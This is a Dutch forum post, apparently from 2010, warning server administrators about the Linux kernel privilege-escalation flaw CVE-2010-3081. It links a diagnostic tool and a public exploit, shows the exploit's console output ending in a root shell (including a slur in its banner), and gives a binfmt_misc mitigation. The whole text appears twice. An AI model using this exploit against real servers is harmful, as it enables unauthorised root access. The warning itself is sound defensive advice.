Cybafish
20/09/10, 17:59
Voor degenen die er nog niet van wisten, een lekje in de 32-bits emulatiefunctionaliteit voor 64-bits kernels is een major 0day exploit gebleken. Zo goed als alle 64-bits kernels van eind 2008 - heden zijn vatbaar (> kernel-2.6.18-164).
Check direct of je server al compromised is:
downloadlink naar de tool ('https://www.ksplice.com/support/diagnose-2010-3081')(als normale user executen, niet als root)
Zie ook:
http://www.exploit-db.com/exploits/15024/
http://linux.slashdot.org/article.pl?sid=10/09/20/0217204
https://www.ksplice.com/uptrack/cve-2010-3081.ssi.xhtml
http://forums.cpanel.net/f185/x86_64-kernel-exploit-165758.html#post692222
Om even het gebruiksgemak te demonstreren:
# ./15024.bin
Ac1dB1tCh3z VS Linux kernel 2.6 kernel 0d4y
$$$ Kallsyms +r
$$$ K3rn3l r3l3as3: 2.6.18-194.11.3.el5
??? Trying the F0PPPPPPPPPPPPPPPPpppppppppp_____ m3th34d
$$$ L00k1ng f0r kn0wn t4rg3tz..
$$$ c0mput3r 1z aqu1r1ng n3w t4rg3t...
$$$ selinux_ops->ffffffff80327ac0
$$$ dummy_security_ops->ffffffff804b9540
$$$ capability_ops->ffffffff80329380
$$$ selinux_enforcing->ffffffff804bc2a0
$$$ audit_enabled->ffffffff804a7124
$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - F0PZzzZzZZ/LSD(M) m3th34d
$$$ Prepare: m0rn1ng w0rk0ut b1tch3z
$$$ Us1ng st4nd4rd s3ash3llz
$$$ 0p3n1ng th3 m4giq p0rt4l
$$$ bl1ng bl1ng n1gg4 :PppPpPPpPPPpP
sh-3.2# whoami
root
Zorg dus dat je als de donder patcht of je 32 bits functionaliteit tijdelijk sloopt:
echo ':32bits:M:0:\x7fELF\x01::/bin/echo:' > /proc/sys/fs/binfmt_misc/register
(zie ook https://access.redhat.com/kb/docs/DOC-40265)
Let op: 32-bits functionaliteit slopen kan gevolgen hebben voor de functionaliteit van je controlpanel. Van bijvoorbeeld cPanel weet ik dat een cPanel update automatisch een MySQL update script triggert. Als dat gebeurt zonder de 32-bits functionaliteit zal e.e.a. uit source gecompiled worden. Zoiets kan gevolgen hebben voor je databases. Zorg dus dat je niet zomaar updates van je panel laat draaien (dus ook niet automatisch 's nachts), zolang de 32-bits emulatie uitgesloten is.
Check direct of je server al compromised is:
downloadlink naar de tool ('https://www.ksplice.com/support/diagnose-2010-3081')(als normale user executen, niet als root)
Zie ook:
http://www.exploit-db.com/exploits/15024/
http://linux.slashdot.org/article.pl?sid=10/09/20/0217204
https://www.ksplice.com/uptrack/cve-2010-3081.ssi.xhtml
http://forums.cpanel.net/f185/x86_64-kernel-exploit-165758.html#post692222
Om even het gebruiksgemak te demonstreren:
# ./15024.bin
Ac1dB1tCh3z VS Linux kernel 2.6 kernel 0d4y
$$$ Kallsyms +r
$$$ K3rn3l r3l3as3: 2.6.18-194.11.3.el5
??? Trying the F0PPPPPPPPPPPPPPPPpppppppppp_____ m3th34d
$$$ L00k1ng f0r kn0wn t4rg3tz..
$$$ c0mput3r 1z aqu1r1ng n3w t4rg3t...
$$$ selinux_ops->ffffffff80327ac0
$$$ dummy_security_ops->ffffffff804b9540
$$$ capability_ops->ffffffff80329380
$$$ selinux_enforcing->ffffffff804bc2a0
$$$ audit_enabled->ffffffff804a7124
$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - F0PZzzZzZZ/LSD(M) m3th34d
$$$ Prepare: m0rn1ng w0rk0ut b1tch3z
$$$ Us1ng st4nd4rd s3ash3llz
$$$ 0p3n1ng th3 m4giq p0rt4l
$$$ bl1ng bl1ng n1gg4 :PppPpPPpPPPpP
sh-3.2# whoami
root
Zorg dus dat je als de donder patcht of je 32 bits functionaliteit tijdelijk sloopt:
echo ':32bits:M:0:\x7fELF\x01::/bin/echo:' > /proc/sys/fs/binfmt_misc/register
(zie ook https://access.redhat.com/kb/docs/DOC-40265)
Let op: 32-bits functionaliteit slopen kan gevolgen hebben voor de functionaliteit van je controlpanel. Van bijvoorbeeld cPanel weet ik dat een cPanel update automatisch een MySQL update script triggert. Als dat gebeurt zonder de 32-bits functionaliteit zal e.e.a. uit source gecompiled worden. Zoiets kan gevolgen hebben voor je databases. Zorg dus dat je niet zomaar updates van je panel laat draaien (dus ook niet automatisch 's nachts), zolang de 32-bits emulatie uitgesloten is.